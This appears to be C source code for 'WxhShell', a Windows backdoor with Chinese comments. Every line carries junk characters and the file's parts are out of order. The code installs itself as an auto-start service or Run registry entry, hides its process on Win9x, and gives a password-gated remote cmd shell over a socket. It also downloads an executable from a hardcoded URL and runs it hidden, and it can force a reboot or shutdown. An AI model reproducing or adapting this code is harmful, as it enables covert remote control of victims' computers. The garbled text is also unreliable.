    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %<Te&6NU'  
    else { \' ;zD-MX  
    closesocket(wsh); =}Xw}X+[WY  
    ExitThread(0); jbK<"T5  
    } @$%[D`Wa<  
    break;  -p2 =?a  
    } r-k,4Yz  
  // 获取shell $Hbd:1%i {  
  case 's': { + c"$-Jr  
    CmdShell(wsh); 2v9T&xo=  
    closesocket(wsh); Z=\wI:TY1  
    ExitThread(0); j,i> 1|J  
    break; t+`>zux5(T  
  } ThmN^N  
  // 退出 qGPIKu  
  case 'x': { }iCcXZ&5^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Lr ud{  
    CloseIt(wsh); v a j  
    break; { WW!P,w  
    } %V3xO%  
  // 离开 xh raf1v3\  
  case 'q': { G0VbW-`O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Da8{==  
    closesocket(wsh); e[AwR?=  
    WSACleanup(); |<Gq^3 2  
    exit(1); ]iL>Zxex  
    break; ?g\SF}2  
        } SF2<   
  } )RE~=*?d  
  } Gv uX"J  
); <Le6  
  // 提示信息 qwx{U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mfpL?N  
} T nG=X:+=  
  } ;^`WX}]C(  
DeTD.)pS  
  return; Ivue"_i;!  
} q&`>&k  
gcNpA?mC|u  
// shell模块句柄 o}4J|@Hi|4  
int CmdShell(SOCKET sock) -w#Hy>E  
{ | N/Wu9w$  
STARTUPINFO si; tf+5@Zf]4  
ZeroMemory(&si,sizeof(si)); [hT|]|fJS;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +S3r]D3v/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?6[X=GeUs  
PROCESS_INFORMATION ProcessInfo; #MhieG5  
char cmdline[]="cmd"; OG&X7>'3I{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a6vls]?  
  return 0; R?K[O   
} V%c1+h<  
9/nS?>11  
// 自身启动模式 W7ffdODb  
int StartFromService(void) yF#:*Vz>  
{ ,9:0T LLR  
typedef struct &InMI#0mV  
{ "uthFE  
  DWORD ExitStatus; [8J/# !B  
  DWORD PebBaseAddress; KW~fW r8  
  DWORD AffinityMask; 7Vd"AVn}g  
  DWORD BasePriority; 4}\Dr %US  
  ULONG UniqueProcessId; [x.Dw U%S  
  ULONG InheritedFromUniqueProcessId; %bs~%6)  
}   PROCESS_BASIC_INFORMATION; a.5^zq7#!  
[sT}hYh+  
PROCNTQSIP NtQueryInformationProcess; !]-ET7  
]ZjydQjo )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i1kTP9  
Apfs&{Uy  
  HANDLE             hProcess; @9wug!,  
  PROCESS_BASIC_INFORMATION pbi; 07?|"c.  
= +=k(*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qL03iV#h*V  
  if(NULL == hInst ) return 0; 50S >`qi2x  
BP7&w d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6,*o;<k[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y_=},a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {J}Zv5  
9mT;> mE  
  if (!NtQueryInformationProcess) return 0; fs=W(~"  
}Z~& XL=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Qc 4Oz:t  
  if(!hProcess) return 0; QE.a2 }  
zoU-*Rs6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jd&kak  
QF7iU@%-  
  CloseHandle(hProcess); `V;vvHP A  
f0^DsP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (RL5L=,u  
if(hProcess==NULL) return 0; {y[T3(tt  
"s6O|=^*  
HMODULE hMod; $ +`   
char procName[255]; /puM3ZN  
unsigned long cbNeeded; Ny.s u?E  
AvN\^ &G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L b'HM-d  
rdFeDZo&Z)  
  CloseHandle(hProcess); ;34 m!\N5  
*:q,G  
if(strstr(procName,"services")) return 1; // 以服务启动 4;*o}E  
Mpm#a0f  
  return 0; // 注册表启动 @"6dq;"  
} }538vFNi  
\eD{bD  
// 主模块 n 2k&yL+a  
int StartWxhshell(LPSTR lpCmdLine) k-v@sb24_  
{ )_bR"!Z  
  SOCKET wsl; oM=Ltxv}  
BOOL val=TRUE; Wm5/>Cu,  
  int port=0; v$O%U[e<  
  struct sockaddr_in door; RaS7IL:e  
$_6DvJ0  
  if(wscfg.ws_autoins) Install(); JVzU'd;1!  
QT;mCD=OD  
port=atoi(lpCmdLine); |kHPk)}I]  
6S;-fj  
if(port<=0) port=wscfg.ws_port; )$*T>.JA  
.@Z-<P"  
  WSADATA data; >k6RmN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ::\7s  
=%4vrY `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "]%.%$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s uT#k3  
  door.sin_family = AF_INET; >-s\$8En'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o;+J3\  
  door.sin_port = htons(port); ?lh `>v  
1!@KRV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?jywW$   
closesocket(wsl); 8+Y+\XZG  
return 1; ,&II4;F  
} A6APU><dm^  
V@0Z\&  
  if(listen(wsl,2) == INVALID_SOCKET) { ~aK@M4  
closesocket(wsl); s2*^ PG  
return 1; k!gft'iU  
} [@U2a$k+d  
  Wxhshell(wsl); /( /)nYAjk  
  WSACleanup(); lNcXBtwK@#  
o(,u"c/Or  
return 0; f^8,Z+n  
;%r#p v~  
} 'CqWF"  
uTN mt]  
// 以NT服务方式启动 2;@#i*\Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rBv  
{ KGCm@oy  
DWORD   status = 0; H7 acT  
  DWORD   specificError = 0xfffffff; ,Db+c3  
Sm;EWz-?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o|\0IG(\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6~Y-bn"%D5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C wKo'PAJ  
  serviceStatus.dwWin32ExitCode     = 0; IS; F9{  
  serviceStatus.dwServiceSpecificExitCode = 0; WlHw\\ur  
  serviceStatus.dwCheckPoint       = 0; l4oI5)w  
  serviceStatus.dwWaitHint       = 0; qRMH[F$`  
.6Swc?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *@J  
  if (hServiceStatusHandle==0) return; H\tz"<*``  
zbt>5S_  
status = GetLastError(); )NeI]p  
  if (status!=NO_ERROR) w(kN0HD  
{ %;UEyj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F&}>2QiL  
    serviceStatus.dwCheckPoint       = 0; (\ `knsE!  
    serviceStatus.dwWaitHint       = 0; {K-]nh/  
    serviceStatus.dwWin32ExitCode     = status; i 7:R4G(/#  
    serviceStatus.dwServiceSpecificExitCode = specificError; g:/l5~b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k'uN2m  
    return; o<f[K}t9  
  } K'[H`x^  
SRq0y,d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sr)rKc  
  serviceStatus.dwCheckPoint       = 0; g2b %.X4  
  serviceStatus.dwWaitHint       = 0; wy5vn?T@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l^x5m]Kt  
} MR$Bl"d  
KQ<pQkhv  
// 处理NT服务事件,比如:启动、停止 ^|DI9G(Bs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O/M\Q  
{ nA%H`/O{  
switch(fdwControl) lgTavs  
{ GH2D5HVN  
case SERVICE_CONTROL_STOP: lJ!+n<K+  
  serviceStatus.dwWin32ExitCode = 0; vKppXm1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I^'kt[P'FZ  
  serviceStatus.dwCheckPoint   = 0; -:(,<Jt<  
  serviceStatus.dwWaitHint     = 0; 6y&d\_?Y  
  { dxlaoyv:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cF_hU"  
  } -fu=RR  
  return; O#Ab1FQn  
case SERVICE_CONTROL_PAUSE: ;wCp j9hir  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F,^Q'$ !  
  break; O.S(H1z<G  
case SERVICE_CONTROL_CONTINUE: uUb[Dqn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b@@`2O3"  
  break; 4-efnB  
case SERVICE_CONTROL_INTERROGATE: RrSo`q-h+  
  break; HgY"nrogt$  
}; O G#By6O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P X ?!R4S  
} A<.`HCv2  
O`- JKZc  
// 标准应用程序主函数 FCU~*c8Cs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (u@p[ncN}  
{ 9/ R|\  
I0oM\~#  
// 获取操作系统版本 :i+Tf~k{  
OsIsNt=GetOsVer(); rWI6L3,i+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +9>t; Ty  
 qJ!&H  
  // 从命令行安装 R+IT)2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3=V79&  
~0r:Wcj x  
  // 下载执行文件 t>><|~wp  
if(wscfg.ws_downexe) { eZs34${fN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9r% O  
  WinExec(wscfg.ws_filenam,SW_HIDE); W>0 36  
} O#fGHI<43[  
}; !S2+  
if(!OsIsNt) { \'6hv>W@  
// 如果时win9x,隐藏进程并且设置为注册表启动 EXUjdJs"  
HideProc(); S !cc%  
StartWxhshell(lpCmdLine); U#R=y:O?  
} h\afO  
else  6!])\Ay  
  if(StartFromService()) fQq'_q5  
  // 以服务方式启动 WjtmV2b<7  
  StartServiceCtrlDispatcher(DispatchTable); Jw?J(ig^  
else p7}x gUxX  
  // 普通方式启动 z/aZD\[_  
  StartWxhshell(lpCmdLine); , }O>,AU  
1foy.3g-  
return 0; B/g.bh~)q  
} b&X- &F  
vx /NG$  
J@w Q3#5a  
~itrM3^"w  
=========================================== ntE;*F yH  
{Sm^F  
8C3oj  
JlJy3L8L  
> f,G3Ay  
l -us j%\  
" 5%j !SVW  
-R@mnG 5  
#include <stdio.h> M \rW  
#include <string.h> ?bu-6pkx]  
#include <windows.h> ] P;Ng=a  
#include <winsock2.h> @DG$  
#include <winsvc.h> CEjMHP$=  
#include <urlmon.h> 6tBL?'pG  
jFfuT9oId  
#pragma comment (lib, "Ws2_32.lib") hs< )<  
#pragma comment (lib, "urlmon.lib") jC7`_;>=  
"pGSz%i-  
#define MAX_USER   100 // 最大客户端连接数 Cc7PhoPK  
#define BUF_SOCK   200 // sock buffer 45fk+#  
#define KEY_BUFF   255 // 输入 buffer ;2 -%IA,  
57*`y'C W  
#define REBOOT     0   // 重启 n 5h4]u  
#define SHUTDOWN   1   // 关机 H7!j5^  
U {Xg#UN  
#define DEF_PORT   5000 // 监听端口 Kt5;GUV  
/f2HZfj  
#define REG_LEN     16   // 注册表键长度 ~ _R 8; b  
#define SVC_LEN     80   // NT服务名长度 p\T.l <p  
c+P.o.k;  
// 从dll定义API j}~3m$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _GSl}\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MBZ/Pzl~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #)hc^gIO&<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G`3/${ti  
*m$P17/C  
// wxhshell配置信息 CYD&#+o  
struct WSCFG { ;s m )f  
  int ws_port;         // 监听端口 Kppi N+||  
  char ws_passstr[REG_LEN]; // 口令 YmXh_bk  
  int ws_autoins;       // 安装标记, 1=yes 0=no uR#aO''  
  char ws_regname[REG_LEN]; // 注册表键名 AP*Z0OFE  
  char ws_svcname[REG_LEN]; // 服务名 zi M~V'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RQ}0f5~t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t;g= @o9YA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hg<d%7.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A"Q6GM2;Io  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '*K}$+l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RJ+i~;-  
rt-^?2c?  
}; vhe[:`=a  
A|3'9iL{9  
// default Wxhshell configuration 36ygI0V_  
struct WSCFG wscfg={DEF_PORT, };{V]f 0  
    "xuhuanlingzhe", t2V|moG  
    1, x93t.5E6  
    "Wxhshell", Z{<&2*  
    "Wxhshell", Wx~N1+  
            "WxhShell Service", @ Gxnrh6  
    "Wrsky Windows CmdShell Service", NrQGoAOw  
    "Please Input Your Password: ", %#5yC|o9Pn  
  1, Pv@P(y?\  
  "http://www.wrsky.com/wxhshell.exe", &d1|B`gL|  
  "Wxhshell.exe" 1>5l(zK!9  
    }; Aun X[X9  
C%#%_ "N  
// 消息定义模块 X9ua&T2(l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6k569c{7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; la37cG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r1vF/yt(  
char *msg_ws_ext="\n\rExit."; D}.Pk>5  
char *msg_ws_end="\n\rQuit."; +hoZW R  
char *msg_ws_boot="\n\rReboot..."; $hND!T+;  
char *msg_ws_poff="\n\rShutdown..."; w +pK=R  
char *msg_ws_down="\n\rSave to "; [WZGu6$SU  
wlSl ~A/s  
char *msg_ws_err="\n\rErr!"; /=o~7y  
char *msg_ws_ok="\n\rOK!"; ,# i@jB  
x?5D>M/Y  
char ExeFile[MAX_PATH]; $@WqM$  
int nUser = 0; :.2Tcq  
HANDLE handles[MAX_USER]; Gcu[G]D  
int OsIsNt; )1E[CIaXK  
QkY]z~P4  
SERVICE_STATUS       serviceStatus; ,drbj.0-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c)L1@qdZ  
2kG(\+\  
// 函数声明 kfb*|  
int Install(void); q$#5>5&  
int Uninstall(void); NFYo@kX> G  
int DownloadFile(char *sURL, SOCKET wsh); 3u&>r-V6Fn  
int Boot(int flag); {nr}C4]o  
void HideProc(void); H]zi>;D  
int GetOsVer(void); whoM$  &  
int Wxhshell(SOCKET wsl); S9cAw5E(yN  
void TalkWithClient(void *cs); 7IEG%FY T  
int CmdShell(SOCKET sock); nu=yE$BN{  
int StartFromService(void); _lK+/"-l  
int StartWxhshell(LPSTR lpCmdLine); *#{V ^}  
Npr<{}ZE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~tw#Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H!H&<71-  
8ch^e[U`  
// 数据结构和表定义 te<lCD6  
SERVICE_TABLE_ENTRY DispatchTable[] = %$'YP  
{ t@_MWF  
{wscfg.ws_svcname, NTServiceMain}, Z30r|Ufh  
{NULL, NULL} ff{ L=uj  
}; W UN|,P`b  
;$il_xA)\>  
// 自我安装 L lNd97Z  
int Install(void) ,\%qERk  
{ m|/q o  
  char svExeFile[MAX_PATH]; }{oZdO  
  HKEY key; K[j~htC{I"  
  strcpy(svExeFile,ExeFile); >GV(\In  
[?QU'[  
// 如果是win9x系统,修改注册表设为自启动 .+.'TY--  
if(!OsIsNt) { J*%XtRio  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U8||)  +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o@5zf{-  
  RegCloseKey(key); CogN1,GJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  << XWL:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Hp[}sv4)  
  RegCloseKey(key); g)L?C'BG  
  return 0; $XZC8L#  
    } Y|3n^%I  
  } '0jjoZ:  
} Y!1x,"O'H  
else { +[lv `tr  
cYeC7l "  
// 如果是NT以上系统,安装为系统服务 ua8Burl7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S.! n35  
if (schSCManager!=0) 57S!X|CE  
{ z,f  
  SC_HANDLE schService = CreateService |Nf90.dL  
  ( Zr#\>h'c  
  schSCManager, [S:{$4&  
  wscfg.ws_svcname, "<=HmE-;  
  wscfg.ws_svcdisp, ]Jum(1Bo  
  SERVICE_ALL_ACCESS, \Ctl(uj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5 A2u|UU  
  SERVICE_AUTO_START, -ld1o+'`v!  
  SERVICE_ERROR_NORMAL, ~\yk{1S  
  svExeFile, ; `Vbl_"L  
  NULL, <l`xP)] X  
  NULL, NGs@z^&V  
  NULL, J+:gIszsWT  
  NULL, "0sk(kT  
  NULL /4 M~ 6LT`  
  ); #*zl;h1(  
  if (schService!=0) D\LXjEm e.  
  { C?h}n4\B^?  
  CloseServiceHandle(schService); ui!MQk+D9  
  CloseServiceHandle(schSCManager); 0Q)m>oL.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =}xH6^It  
  strcat(svExeFile,wscfg.ws_svcname); Ty5}5)CRZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y7@q]~%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WW[Gne  
  RegCloseKey(key); %h^ f?.(:  
  return 0; T:|PSJc0  
    } \ 0J &^C  
  } av:9kPKm  
  CloseServiceHandle(schSCManager); .ZVADVg\  
} _@_w6Rh  
} x:0nK,  
6_zyPh  
return 1; Gi 7p`F.  
} )oCb9K:km  
^,sKj-  
// 自我卸载 # M18&ld,r  
int Uninstall(void) w\{oOlE  
{ 6_a~ 4_#  
  HKEY key; [[A}MF*@  
UtzM+7r@  
if(!OsIsNt) { r zO5 3\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fKkH [  
  RegDeleteValue(key,wscfg.ws_regname); syB.Z-Cpd  
  RegCloseKey(key); E%np-is{1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p`mNy o'  
  RegDeleteValue(key,wscfg.ws_regname); mWiX@#,  
  RegCloseKey(key); P;DGs]PF  
  return 0; VqBb=1r%o7  
  } #Ks2a):8  
} tv\_& ({  
} 9yWQ}h  
else { q-5U,!!W/  
=ec"G2$?"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [W,}&  
if (schSCManager!=0) |4?O4QN  
{ tZ*z.3\<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4O1[D? )`x  
  if (schService!=0) ]J)3y+;P  
  { ffgb 3  
  if(DeleteService(schService)!=0) { )4CF*>*6V  
  CloseServiceHandle(schService); $5v:z   
  CloseServiceHandle(schSCManager); SO8b~N  
  return 0; nhb: y  
  } 0fP-[7P  
  CloseServiceHandle(schService); PZE{- TM?W  
  } _=ziw|zI  
  CloseServiceHandle(schSCManager); #a|.cm>6  
} , HHCgN  
} *fg|HH+i  
J0V\_ja-  
return 1; r]lPXj(`  
} h&O8e;S#  
o5`LLVif5y  
// 从指定url下载文件 HHXm 4}!;<  
int DownloadFile(char *sURL, SOCKET wsh) SU80i`  
{ +u|p<z  
  HRESULT hr; ZGZ+BOFL  
char seps[]= "/"; e A'1  
char *token; 9}*<8%PSt,  
char *file; @teNT"  
char myURL[MAX_PATH]; 8sz|9~  
char myFILE[MAX_PATH]; o'auCa,N  
+x_9IvaW&?  
strcpy(myURL,sURL); nQ}$jOU &  
  token=strtok(myURL,seps); u{d\3-]/  
  while(token!=NULL) +204.Yj?D  
  { T2p;#)dP  
    file=token; H(,D5y`k1  
  token=strtok(NULL,seps); ;[R#:Rk  
  } K%iA-h  
.M zAkZ=  
GetCurrentDirectory(MAX_PATH,myFILE); O=2SDuBZ  
strcat(myFILE, "\\"); WO<a^g {  
strcat(myFILE, file); Ka|, qkb  
  send(wsh,myFILE,strlen(myFILE),0); ro`2IE>  
send(wsh,"...",3,0); w/UZ6fu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bz4TbGg]  
  if(hr==S_OK) JK_(!  
return 0; oasEG6OI8  
else D/x!`&.sN  
return 1; [t}\8^y  
\Uh$%#}.  
} ##_Jz5P  
( {}Z '  
// 系统电源模块 T**v!Ls  
int Boot(int flag) x-%4-)  
{ /@qnEP%  
  HANDLE hToken; =/zb$d cz  
  TOKEN_PRIVILEGES tkp; { M&Vh]  
LzE$z,  
  if(OsIsNt) { 4te QG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  66 @#V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G,fh/E+  
    tkp.PrivilegeCount = 1; ZA{T0:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ap)[;_9BD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R m^$Dn  
if(flag==REBOOT) { qOM"?av  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H68~5lJY^]  
  return 0; <)am]+Lswy  
} c4i%9E+Af  
else { >xB[k-C4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E=eK(t(8  
  return 0; TP R$oO2  
} 3I):W9$Qp  
  } 14Y<-OO: k  
  else { %TUvH>;0  
if(flag==REBOOT) { %3;vDB*L$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kACgP!~/1  
  return 0; Z\. n6  
} 4M,Q{G|e  
else { (RBzpAiH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JVxGS{Z  
  return 0; 6#gS`X23Y  
} :plN<8  
} INjr$'*  
l\t\DX"s_  
return 1; 9Q /t+  
} o4PJ9x5R!  
jRGslak;  
// win9x进程隐藏模块 [~&yLccN  
void HideProc(void) kfj)`x  
{ [Rxbb+,U  
Q}6!t$Vk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o!@}&DE|*L  
  if ( hKernel != NULL ) ;U)xZ _Ew~  
  { ,$A'Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w _ONy9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ='G-wX&k  
    FreeLibrary(hKernel); 1Xn:B_pP  
  } =IH~:D\&  
scQnL'\  
return; c$P68$FB  
} +{h.nqdAE  
`p'682xI  
// 获取操作系统版本 P+:DLex  
int GetOsVer(void) bGtS! 'I  
{ !*G%vOa  
  OSVERSIONINFO winfo; DmtCEKa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \` U=pZJ  
  GetVersionEx(&winfo); Mj<T+Ohz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N}gPf i  
  return 1; Ek6z[G` O  
  else C2}f'  
  return 0; /P%OXn$i/  
} 3ZUME\U  
~J:]cy)Q  
// 客户端句柄模块 q5xF~SQGw2  
int Wxhshell(SOCKET wsl) N@#,YnPI  
{ `F`{s`E)  
  SOCKET wsh; Bw/8-:eb  
  struct sockaddr_in client; Rn$[P.||  
  DWORD myID; |R&cQKaQ`  
A9_} RJ9  
  while(nUser<MAX_USER) ]_(J8v  
{ e);`hNLih  
  int nSize=sizeof(client); iY*fp=c9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p|+TgOYOc  
  if(wsh==INVALID_SOCKET) return 1; b.j$Gna>Q  
= 6'Fm$R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IOT-R!.5V  
if(handles[nUser]==0) s[bQO1g;*  
  closesocket(wsh); U'aJCM  
else =}g-N)^  
  nUser++; *3\*GatJ  
  } 4;*jE (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\3W_jR  
%uw7sGz\  
  return 0; MfZamu5+F  
} sBk|KG  
3Fw7q"  
// 关闭 socket $0Ys{m  
void CloseIt(SOCKET wsh) A{p_I<  
{ 0^vz /y1c  
closesocket(wsh); +rJDDIb  
nUser--; rf+Z0C0WYi  
ExitThread(0); )FN\jo!!.  
} iNr&;  
Z!-V&H.  
// 客户端请求句柄 H<3:1*E  
void TalkWithClient(void *cs) Vi`P &uPF  
{  SQ&}18Z~  
@ZRg9M:N  
  SOCKET wsh=(SOCKET)cs; OS-k_l L  
  char pwd[SVC_LEN]; nC(Lr,(  
  char cmd[KEY_BUFF]; RzU9]e  
char chr[1]; w3;{z ,,T  
int i,j; .k$Yleg  
{n&GZG"f  
  while (nUser < MAX_USER) { IrUoAQ2xpG  
EU Z7?4o  
if(wscfg.ws_passstr) { =ld!=II  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h$mGaw vZ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 0PGbAD  
  //ZeroMemory(pwd,KEY_BUFF); |8tKN"QG  
      i=0; ;l^'g}dQ^  
  while(i<SVC_LEN) { E 6+ ooB[  
Y9I|s{~  
  // 设置超时 EeH ghq  
  fd_set FdRead; H_,4N_hL  
  struct timeval TimeOut; K4 -_a{)/  
  FD_ZERO(&FdRead); Apj[z2nr  
  FD_SET(wsh,&FdRead); n0G@BE1Y=  
  TimeOut.tv_sec=8; e,Z[Nox  
  TimeOut.tv_usec=0; ^q`RaX)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4]FS jVO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f:t j   
&*bpEdkZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U_hzSf  
  pwd=chr[0]; @-Y,9mM   
  if(chr[0]==0xd || chr[0]==0xa) { 4T$DQK@e  
  pwd=0; =v0w\( ?N  
  break; 7kITssVHI  
  } 'v@*xF/L6a  
  i++; _8ks`O#}  
    } jcjl q-x  
=**Q\ Sl  
  // 如果是非法用户,关闭 socket r i)`e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +z0s)HU>j  
} ?o`:V|<v  
_T7XCXEk   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6y "]2UgQk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  3bJ|L3G  
+~* e B  
while(1) { XL9-N?(@  
J qmL|S)  
  ZeroMemory(cmd,KEY_BUFF); wCV~9JTJ!  
x6$3 KDQm  
      // 自动支持客户端 telnet标准   ~]`U)Aw  
  j=0; TA8  
  while(j<KEY_BUFF) { |qwx3 hQ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =d iGuI B  
  cmd[j]=chr[0]; |DPq~l(d  
  if(chr[0]==0xa || chr[0]==0xd) { ,b5vnW\  
  cmd[j]=0; gzy|K%K  
  break; Gm3`/!r  
  } mB6%. "  
  j++; uHRxV"@}[1  
    } LPZ\T} <l  
g>#}(u!PH  
  // 下载文件 1 .[OS  
  if(strstr(cmd,"http://")) { V#+F*w?&D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .,U4 ATO  
  if(DownloadFile(cmd,wsh)) c4r9k-w0E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxDVU?@p*  
  else |/$954Hr#<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ori[[~OyB  
  } JoZzX{eu"  
  else { 1_]%,  
)O$S3ojZ  
    switch(cmd[0]) { =P_ *.SgR  
  WTjmU=<\  
  // 帮助 cM4{ e^  
